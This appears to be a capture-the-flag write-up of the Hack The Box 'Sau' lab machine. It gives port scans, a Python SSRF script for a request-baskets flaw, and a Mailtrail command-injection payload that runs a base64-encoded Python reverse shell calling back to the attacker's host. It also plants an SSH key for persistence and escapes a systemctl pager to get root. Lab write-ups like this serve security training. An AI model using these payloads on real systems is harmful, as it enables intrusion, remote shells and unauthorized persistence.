Sau | Pwned machines

April 12, 2025

Created by	Page	Difficulty	OS
sau123	Hack The Box	Easy	Linux

The first step is to perform a scan of the open ports and then list the versions and technologies used on the open ports.

  nmap -p- --open -vvv --min-rate 3000 -Pn -sS 10.10.11.224 -oG scan
  /opt/extractports scan
  nmap -p22,55555 -sCV -Pn 10.10.11.224 -oN ports

I start entering the web page and I observe that its CSM is a request-backets version 1.2.1. Searching for information about this I find a vulnerability contained in the CVE-2023-27163 in which it allows to execute a Server-Side Request Forgery (SSRF) making a POST request.

I created a script to make the calls and exploit this vulnerability.

When trying to find open ports internally I notice that port 80 takes a long time to answer so I guess it is open internally.

  #!/usr/bin/python
  import requests
  import sys
  import signal
  import time
  import string
  from pwn import *
	
	
  def def_handler(sig, frame):
          print("\n\n[!]Exiting....\n")
          sys.exit(1)
	
  signal.signal(signal.SIGINT, def_handler)
	
  def SSRF():
      p1 = log.progress("Post request")
      p1.status("Starting")
      url = "http://10.10.11.224:55555/api/baskets/n0svw6j1"
      data= {
          "forward_url": "http://127.0.0.1",
          "proxy_response": True,
          "insecure_tls": False,
          "expand_path": False,
          "capacity": 200
      }
      header= {"Content-Type": "application/json"}
      response = requests.post(url, json = data, headers = header)
      print(response.text)
	
	
  if __name__ == '__main__':
          SSRF()
	
  #Then I have to log in to the website http://10.10.11.224:55555/n0svw6j1

Instead of using the ip provided by HTB I decide to use localhosts (127.0.0.1) and with this I can see its content.
I don’t end up seeing the content correctly but I can see at the bottom that you are running a Mailtrail v0.53. In searching for information about this one I find a vulnerability that allows to execute commands remotely (RCE).
In order to exploit this vulnerability we will have to send in the username field of the login request the command we want to execute.

I decide to run a reverse shell using python3. First converting the payload to base64 to reverse it directly from the victim machine. For this I use this page.

  cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE0Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc=
	
  username=;`echo%20"cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE0Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKSc%3D"%20|%20base64%20-d%20|%20sh`

Once I get an interactive shell as the user puma, I can read the first flag from the system.

For convenience, I generate an ssh key on my machine and add it to the authorized_keys file on the victim machine. This allows me to connect to the machine in a simpler way.

  ssh-keygen -f key
  echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDDZ8EmdbLXlHYnVjJ/UUFjskwlLg8z590ZXoGV57aAJ root@rufo" >> /home/puma/.ssh/authorized_keys
	
  ssh -i key puma@10.10.11.224

When querying as the user puma the commands that I can run as root without providing a password, I find systemctl
When searching GTFOBins for ways to escalate my privileges using this command I can’t seem to find one that fits perfectly.
When executing the command I see that depending on the size of our window it may not show all its output and it stays as the vim editor. This allows me to execute commands and be able to launch a shell as the user running the program. In this case root.
With this new terminal as the root user I can read the senguda flag of the system.